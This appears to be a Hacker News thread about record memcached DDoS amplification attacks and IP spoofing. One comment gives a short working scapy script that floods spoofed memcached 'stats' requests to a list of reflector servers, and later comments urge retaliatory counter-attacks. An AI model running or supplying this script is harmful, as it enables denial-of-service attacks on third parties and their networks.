It has gotten much easier to wage record-breaking DDoSes

In my humble the focus should be less on memcached, which is today's problem. It should be on IP spoofing in general:

https://blog.cloudflare.com/the-root-cause-of-large-ddos-ip-...

We will have amplification attacks as long as we have ISPs that permit (and benefit) from spoofing.

That code [0] is just input() calls and a query to the https://www.shodan.io/ API[1] (and poorly written if I'm being honest). Using memcache for ddos amplification can be done with a trivial python script

    from scapy.all import IP, UDP, Raw, send

    target = '127.0.0.256'

    with open('ips.txt', 'r') as f:
        ips = f.readlines()

    payload = '\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n'
    while True:
        for ip in ips:
            send(IP(src=target, dst=ip) / UDP(dport=11211) / Raw(load=payload), count=100, verbose=0)

You can get ips.txt from https://pastebin.com/eSCHTTVu (like the article says)

[0] https://github.com/649/Memcrashed-DDoS-Exploit/blob/master/M...

[1] https://github.com/649/Memcrashed-DDoS-Exploit/blob/3422efc0...

Looks like compared to other ddos vectors it isn't that bad, because you can actually shut them down yourself unlike snmp etc...

Any unsecured memcache server will also allow anyone to shut it down remotely.

https://github.com/649/Memfixed-Mitigation-Tool

This problem will disappear in days when people notice their memcache servers randomly shutting down unlike the other ones where you are out of luck if the ISP doesn't look at their abuse inbox ever.

It was Mongodb, dns, tftp, ntp, and cheap home router admin interfaces before, memcached this time. Fixing memcached is important, sure, but it won’t be the last amplification vector.

How about solving it by social rather than technical means? By that I mean that most suggested solutions focus on limiting the traffic, the HOW. The How is well known since many years, what is not working is WHEN. Right now, traffic is blocked WHEN someone decides it is blocked. There is little automation for many reasons. There are many technical proposals on the WHEN. Technical solutions include egress filtering or various types of filtering firewall devices. A social proposal could be to form a trusted group of individuals or organizations that are allowed to publish a blacklist, which is updated and distributed across public channels such as twitter. Anyone running a router can then filter based on this blocklist. This solution would mimic the spam filters of the world but focus on routers rather than mail servers. Edge routers makes very little difference here, and the situation is the same in the world of mail servers, where it makes a lot more impact to be filtered by outlook.com than by Jane Doe running exim in the garage. Perhaps this type of social distributed solution is in place already and I just am unaware. Otherwise... I hope HN is well connected and makes the internet a better place.

Why don't ISPs block packets with a source IP originating outside their network? It would shut down attacks like this in an instant, and it would save them money on peering costs for floods of junk traffic.

One day, only governments and criminals will be able to send UDP packets.

This is super easy to fix. You know the source IP addresses of memcached servers. Just send to them a spoofed packet with their own IP so that they attack themselves. Or if you know that your competitor is behing the attack, just attack them.

One of the way to fight DDOS could be to allow those who are under attack send traffic to the origin of the attack. So for example, if you receive 1 Mbps of traffic from some IP, you can send 100 Mbps back.

If the origin is an infected computer, then it will most likely go off the network, and will stop participating in the attack. If the origin is a data center, then they will lose connetivity and it will motivate them to cure infected servers.